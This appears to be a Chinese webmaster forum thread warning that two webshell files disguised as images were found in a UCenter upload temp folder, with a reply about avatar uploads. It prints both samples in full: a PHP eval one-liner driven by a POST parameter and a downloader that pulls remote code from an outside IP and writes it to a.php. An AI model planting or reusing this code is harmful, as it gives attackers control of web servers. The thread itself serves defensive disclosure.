uc_server\data\tmp被上傳木馬文件 建議自查

onlygod

今天網站搬家，順手用最新版的D盾掃描了一下，發現兩個可疑文件，圖片格式。

路徑為：uc_server\data\tmp

將格式圖片格式的后綴改為  .php，用記事本打開，發現一句話木馬，兩個文件分別如下：

1. <?php @eval($_POST['1']);?>

復制代碼

1. <script language="php"> $save=file_get_contents('http://103.198.194.134/php/xz.txt');  file_put_contents('a.php',$save) ;</script>

復制代碼

目前暫時沒掃出其他木馬，懷疑上傳木馬后并沒有成功執行。

文件名分別為：
upload37372
upload29060

后面的數字應該是用戶ID，建議將圖片改成隨機數字命名，否則容易被黑客利用。
IIS的解析漏洞，配合這個，有可能能拿下webshell。

-------建議大家自查一下。  不知道新版有木有這個漏洞，知道的大神說下。

我知道答案 回答被采納將會獲得1 貢獻 已有1人回答

耗子

這種情況一般都是頭像進來的， 做好防護措施  尤其服務器  廣告IIS有這個漏洞 包括  這個是PHP的漏洞